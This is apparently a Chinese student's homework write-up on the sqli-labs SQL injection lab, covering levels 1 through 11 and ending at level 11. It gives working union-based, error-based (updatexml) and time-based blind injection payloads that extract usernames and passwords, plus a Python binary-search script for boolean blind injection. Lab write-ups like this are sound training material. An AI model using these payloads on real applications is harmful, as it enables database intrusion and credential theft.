作业要求:1.复现less1-less24
2.无列名注入的研究+infromation过滤
less1
通过报错注入,用单引号闭合后注释其后面的语句,联合查询
查看所有用户名以及密码
?id=-1' union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users) --+
less2
该注入为整形注入,因此直接注释掉后面的语句
?id=-1 union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users) --+
less3
该注入经过单引号闭合后,外部还有一个右括号错误,所以该注入是一个带括号的单引号字符型注入
?id=-1') union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users) --+
less4
提供一个双引号闭合后,外部还有一个右括号没有闭合,所以这是一个带括号的双引号字符型注入
?id=-1") union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users) --+
less5
该注入是单引号字符型注入
?id=1'+and+updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1)+--+
less6
该注入类型是双引号字符型注入
less7
该注入是一个带括号的单引号字符型注入
?id=1'))+and+updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1)+--+
less8
布尔盲注
写脚本爆破
def inject_database(url):
name = ''
for i in range(1,20):
low = 32
high = 128
mid =(low+ high)//2
while low < high:
payload = "1'and ascii(substr(database(),%d,1)) > %d-- " % (i, mid)
res = {"id": payload}
r = requests.get(url,params=res)
if "You are in...."in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
less9
时间盲注
用页面状态判断
更改代码
或可
?id=1' and if(1=1,sleep(5),1)--+
可知存在SQL注入漏洞,闭合符号为单引号,且类型属于时间盲注。
?id=1'and if(length((select database()))=8,sleep(5),1)--+
判断数据库名长度为8
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
less10
与less9原理一样 仅需要将单引号换成双引号
less11
页面发生变化